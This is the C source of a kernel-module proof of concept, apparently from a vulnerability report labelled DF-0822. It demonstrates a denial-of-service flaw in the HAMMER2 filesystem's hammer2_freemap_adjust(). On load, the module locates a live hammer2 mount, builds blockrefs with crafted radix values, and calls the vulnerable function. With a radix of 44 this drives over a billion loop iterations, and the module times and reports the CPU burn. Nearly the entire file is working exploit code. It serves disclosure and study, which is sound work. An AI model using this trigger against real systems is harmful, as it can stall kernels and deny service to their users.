DF-0822 / h2adj.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-0822 โ kernel-module harness that calls the REAL hammer2_freemap_adjust() * with an attacker-controlled on-disk radix value, demonstrating the * unchecked-radix CPU-burn DoS. * * The radix field in a blockref's data_off (low 6 bits) is never validated * in hammer2_freemap_adjust(); on this kernel INVARIANTS is OFF (confirmed * separately), so the KKASSERT(radix<=RADIX_MAX) guard at line 980 is a * no-op and execution falls through to count = 1<<(radix-14) followed by * while(count) { ... }. * * For radix=44: count = 1<<30 = 1,073,741,824 iterations of pure CPU burn. * * Build: see Makefile (kld module against /usr/src) * Load: kldload ./h2adj.ko (auto-runs on MOD_LOAD, prints timing) */ #include <sys/param.h> #include <sys/types.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/mount.h> #include <sys/vnode.h> #include <sys/time.h> #include "hammer2_disk.h" #include "hammer2.h" static hammer2_dev_t *g_found_hmp; static int h2_find_cb(struct mount *mp, void *arg) { if (mp->mnt_vfc && strcmp(mp->mnt_vfc->vfc_name, "hammer2") == 0) { hammer2_pfs_t *pmp = (hammer2_pfs_t *)mp->mnt_data; if (pmp && pmp->pfs_hmps[0]) { g_found_hmp = pmp->pfs_hmps[0]; return 1; /* stop scan */ } } return 0; } static hammer2_dev_t * find_hammer2_hmp(void) { g_found_hmp = NULL; mountlist_scan(h2_find_cb, NULL, MNTSCAN_FORWARD); return g_found_hmp; } static int h2adj_load(struct module *m, int what, void *arg) { if (what != MOD_LOAD) return 0; hammer2_dev_t *hmp = find_hammer2_hmp(); if (hmp == NULL) { kprintf("H2ADJ: no hammer2 mount found\n"); return 0; } kprintf("H2ADJ: hmp=%p spmp=%p allocator_beg=0x%016jx\n", hmp, hmp->spmp, (uintmax_t)hmp->voldata.allocator_beg); int radix_list[] = {16, 30, 44}; int nr = (int)(sizeof(radix_list)/sizeof(radix_list[0])); struct timespec t0, t1; for (int i = 0; i < nr; i++) { int radix = radix_list[i]; hammer2_blockref_t bref; memset(&bref, 0, sizeof(bref)); bref.type = HAMMER2_BREF_TYPE_DATA; /* pick a data_off in a valid allocation zone with the test radix */ hammer2_off_t doff = (hmp->voldata.allocator_beg & ~(hammer2_off_t)0x3F) | radix; bref.data_off = doff; /* predict the loop count the kernel will compute */ int blk_radix = HAMMER2_FREEMAP_BLOCK_RADIX; /* 14 */ int count = (radix < blk_radix) ? 1 : (1 << (radix - blk_radix)); nanouptime(&t0); /* THE vulnerable call โ radix comes from on-disk data_off */ hammer2_freemap_adjust(hmp, &bref, HAMMER2_FREEMAP_DORECOVER); nanouptime(&t1); uint64_t nsec = (uint64_t)(t1.tv_sec - t0.tv_sec)*1000000000ULL + (uint64_t)(t1.tv_nsec - t0.tv_nsec); kprintf("H2ADJ: radix=%2d data_off=0x%016jx predicted_count=%d" " elapsed=%llu ms %s\n", radix, (uintmax_t)doff, count, (unsigned long long)(nsec/1000000ULL), count > 1024 ? "*** CPU-BURN ***" : "(normal)"); } kprintf("H2ADJ: done โ radix>=17 drives an unchecked 1<<(radix-14) " "iteration loop in hammer2_freemap_adjust (hammer2_freemap.c:1107)\n"); return 0; } static moduledata_t h2adj_mod = { "h2adj", h2adj_load, NULL }; DECLARE_MODULE(h2adj, h2adj_mod, SI_SUB_PSEUDO, SI_ORDER_MIDDLE); MODULE_DEPEND(h2adj, hammer2, 1, 1, 1); |